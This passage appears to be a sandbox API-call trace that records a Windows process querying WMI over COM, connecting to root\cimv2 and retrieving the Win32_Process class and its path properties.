[0128.855] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bb833a0) returned 0x0 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0128.855] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb833a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bb833c0) returned 0x0 [0128.855] WbemLocator:IUnknown:Release (This=0x1bb833a0) returned 0x0 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bb833c0) returned 0x0 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0128.855] WbemLocator:IUnknown:AddRef (This=0x1bb833c0) returned 0x3 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0128.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0128.856] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0128.856] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0128.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0128.856] WbemLocator:IUnknown:Release (This=0x1bb833c0) returned 0x2 [0128.856] WbemLocator:IUnknown:Release (This=0x1bb833c0) returned 0x1 [0128.856] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0128.856] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0128.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb833c0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bb833c0) returned 0x0 [0128.856] WbemLocator:IUnknown:AddRef (This=0x1bb833c0) returned 0x3 [0128.856] WbemLocator:IUnknown:Release (This=0x1bb833c0) returned 0x2 [0128.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0128.856] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0128.856] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.856] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bb833e0) returned 0x0 [0128.856] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb833e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb805a0) returned 0x0 [0128.998] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb805a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02620) returned 0x0 [0128.998] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02620, pProxy=0x1bb805a0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0128.998] WbemLocator:IUnknown:Release (This=0x1aa02620) returned 0x1 [0128.998] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb805a0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02660) returned 0x0 [0128.998] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb805a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02620) returned 0x0 [0128.998] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02620, pProxy=0x1bb805a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.998] WbemLocator:IUnknown:Release (This=0x1aa02620) returned 0x2 [0128.998] WbemLocator:IUnknown:Release (This=0x1aa02660) returned 0x1 [0128.998] CoTaskMemFree (pv=0x1aa16770) [0128.999] WbemLocator:IUnknown:AddRef (This=0x1bb805a0) returned 0x2 [0128.999] WbemLocator:IUnknown:Release (This=0x1bb833e0) returned 0x0 [0128.999] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0128.999] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0128.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb805a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02630) returned 0x0 [0128.999] WbemLocator:IRpcOptions:Query (in: This=0x1aa02630, pPrx=0x1bb83440, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0128.999] WbemLocator:IUnknown:Release (This=0x1aa02630) returned 0x2 [0128.999] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0128.999] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0128.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb805a0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb805a0) returned 0x0 [0128.999] WbemLocator:IUnknown:Release (This=0x1bb805a0) returned 0x2 [0129.000] SysStringLen (param_1=0x0) returned 0x0 [0129.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0129.000] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0129.000] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.000] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0129.000] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0129.000] IWbemServices:GetObject (in: This=0x1bb805a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb8aea0, ppCallResult=0x0) returned 0x0 [0129.014] IWbemClassObject:Get (in: This=0x1bb8aea0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0129.014] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0129.014] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0129.014] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0129.014] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0129.014] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0129.014] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.016] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bb833e0) returned 0x0 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb833e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0129.016] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb833e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0a950) returned 0x0 [0129.016] WbemDefPath:IUnknown:Release (This=0x1bb833e0) returned 0x0 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0a950) returned 0x0 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0129.016] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0129.016] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bb83400) returned 0x0 [0129.016] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.017] WbemDefPath:IUnknown:Release (This=0x1bb83400) returned 0x3 [0129.017] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0129.017] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0129.017] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0129.017] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0129.017] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0129.017] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0129.017] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0129.017] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0a950) returned 0x0 [0129.017] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0129.017] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0129.017] WbemDefPath:IWbemPath:SetText (This=0x1aa0a950, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.017] IWbemClassObject:Get (in: This=0x1bb8aea0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.017] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0129.017] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0129.017] IWbemClassObject:Get (in: This=0x1bb8aea0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.017] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.018] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.018] IWbemClassObject:Get (in: This=0x1bb8aea0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.018] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.018] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.018] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.018] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.018] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.018] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.020] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb835a0) returned 0x0 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb835a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.020] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb835a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0aa10) returned 0x0 [0129.020] WbemDefPath:IUnknown:Release (This=0x1bb835a0) returned 0x0 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0aa10) returned 0x0 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.020] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb835e0) returned 0x0 [0129.021] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb835e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.021] WbemDefPath:IUnknown:Release (This=0x1bb835e0) returned 0x3 [0129.021] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.021] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.021] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0129.021] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0129.021] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.021] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0aa10) returned 0x0 [0129.021] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0129.021] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0129.021] WbemDefPath:IWbemPath:SetText (This=0x1aa0aa10, uMode=0x4, pszPath="") returned 0x0 [0129.021] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: 